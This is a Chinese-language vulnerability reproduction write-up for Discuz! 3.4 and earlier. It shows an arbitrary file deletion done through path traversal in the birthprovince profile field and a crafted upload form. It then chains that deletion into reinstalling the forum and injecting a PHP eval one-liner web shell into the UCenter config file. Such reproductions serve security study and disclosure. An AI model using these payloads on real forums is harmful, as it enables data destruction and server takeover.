条件
Discuz <= 3.4
简述
Discuz!X 社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日,知道创宇404实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
经过分析确认,原有的利用方式已经被修复,添加了对属性的 formtype 判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他 unlink 条件,实现任意文件删除漏洞。
原理
复现
任意文件删除
首先随便注册一个账号,F12查看formhash值
在个人设置页面post提交birthprovince=../../../robots.txt&profilesubmit=1&formhash=ebb9b29d
其中ebb9b29d为formhash值
将出生地修改为../../../robots.txt
再构造一个html表单
1 | <form action="http://192.168.1.107/discuz/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data"> |
tips:如果出现拦截情况,请检查formhash是否正确
上传一张图片,然后提交表单,根目录的robots.txt就被删除了
getshell
需要没有删除install目录
discuz在安装完成后,会在 data 目录下生成一个 install.lock 文件。如果尝试再次访问 /install 来安装,检测到存在 install.lock,会出现报错:
采用任意文件删除删除掉/data/install.lock,即可重新进行安装
install/index.php控制discuz的安装
show_license 判断是否接受协议,再跳到 env_check
env_check 检查目录是否可写和 PHP的相关检测,再跳到 app_reg
app_reg 询问是否安装 UCenter ,如果 同意,再跳到 db_init
db_init为填写数据库信息等
install_uc_server:发现它没有对传入的参数做任何过滤,传入了 save_uc_config
构造payloadpre');@eval($_POST[1]);('
进行安装
之后config/config_ucenter.php中已经成功写入了一句话
成功连接